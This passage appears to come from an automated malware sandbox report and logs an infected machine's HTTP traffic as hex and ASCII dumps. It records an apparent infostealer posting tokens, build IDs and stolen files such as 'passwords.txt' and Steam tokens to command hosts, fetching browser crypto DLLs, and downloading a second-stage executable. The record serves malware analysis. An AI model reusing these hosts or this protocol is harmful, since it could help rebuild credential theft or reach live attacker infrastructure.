4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file_name"Q29
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: kasm.zubairgul.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_data"------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: kasm.zubairgul.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_data"------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: kasm.zubairgul.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJEHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="mode"3------DBKEGCAEGIIJKFIEHIJE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEHHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="mode"4------AFIDGDBGCAAFIDHIJKEH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: kasm.zubairgul.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 41 67 6a 38 76 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_data"Agj8vQ==------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: kasm.zubairgul.comContent-Length: 110093Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGDHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="mode"5------CGHDAKKJJJKJKECBGCGD--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: kasm.zubairgul.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 38 34 35 35 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="mode"51------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="task_id"1284557------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="status"1------BGHIDGCAFCBAAAAAFHDA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="mode"6------HDHJEBFBFHJECAKFCAAK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAKHost: cowod.hopto.orgContent-Length: 3217Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCFHost: kasm.zubairgul.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 44 37 34 42 42 42 44 43 42 38 33 39 34 36 30 39 38 34 33 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 2d 2d 0d 0a Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="hwid"33D74BBBDCB83946098432-a33c7340-61ca------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AKEGIIJDGHCAKFHJEHCF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="mode"1------IJKFHDBKFCAAECBFIDHJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFIIHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; 